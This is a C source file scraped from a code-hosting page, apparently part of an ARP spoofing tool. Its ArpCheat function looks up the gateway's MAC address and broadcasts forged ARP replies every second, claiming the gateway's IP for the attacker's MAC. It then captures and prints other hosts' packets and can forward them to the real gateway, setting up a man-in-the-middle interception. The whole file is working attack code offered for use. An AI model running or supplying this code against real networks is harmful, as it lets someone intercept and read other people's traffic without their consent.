-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathAttack.c
72 lines (60 loc) · 1.88 KB
/
Attack.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#ifndef _SKYSY_ARPATTACK_ATTACK_C
#define _SKYSY_ARPATTACK_ATTACK_C
#include "Attack.h"
int isEqualMac(uint8_t* x, uint8_t* y);
void ArpCheat(pcap_t *adhandle, uint8_t* netseg, uint8_t* mymac, uint8_t* myip, int op)
{
struct pcap_pkthdr *header;
const uint8_t *captured;
struct PacketInformation pinf;
int status;
uint8_t desMac[8] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
uint8_t gateway[4];
uint8_t gwMac[8];
uint8_t resMac[8];
uint8_t reqIp[4];
uint8_t reqMac[8];
time_t last, now;
memcpy(gateway, netseg, 3);
gateway[3] = 1;
/* 获取网关Mac地址 */
status = GetHostMacByIp(gateway, gwMac);
if (!status) {
printf("Get Gateway Mac failed!\n");
return;
}
time(&last);
while(1) {
time(&now);
/* 距离上次发包超过1S,才进行下次广播 */
if(now - last >= 1) {
/* 改造全局广播,声明主机身份 */
(void)SendArpData(adhandle, desMac, gateway, mymac, gateway, 2, 1);
last = now;
}
/* 实时接受所有数据包 */
if (pcap_next_ex(adhandle, &header, &captured) == 1) {
memcpy(reqMac, captured + 6, 6);
memcpy(resMac, captured, 6);
if (!isEqualMac(reqMac, gwMac) && !isEqualMac(reqMac, mymac) && !isEqualMac(resMac, gwMac)) {
AnalysePacket((uint8_t*)captured, header->len, &pinf);
PrintPacketInformation(&pinf);
/* OP为1,转发接受到的包 */
if (op) {
memcpy((void *)captured, gwMac, 6);
pcap_sendpacket(adhandle, captured, header->len);
}
}
}
}
}
int isEqualMac(uint8_t* x, uint8_t* y)
{
for (int i = 0; i < 6; i++) {
if (x[i] != y[i]) {
return 0;
}
}
return 1;
}
#endif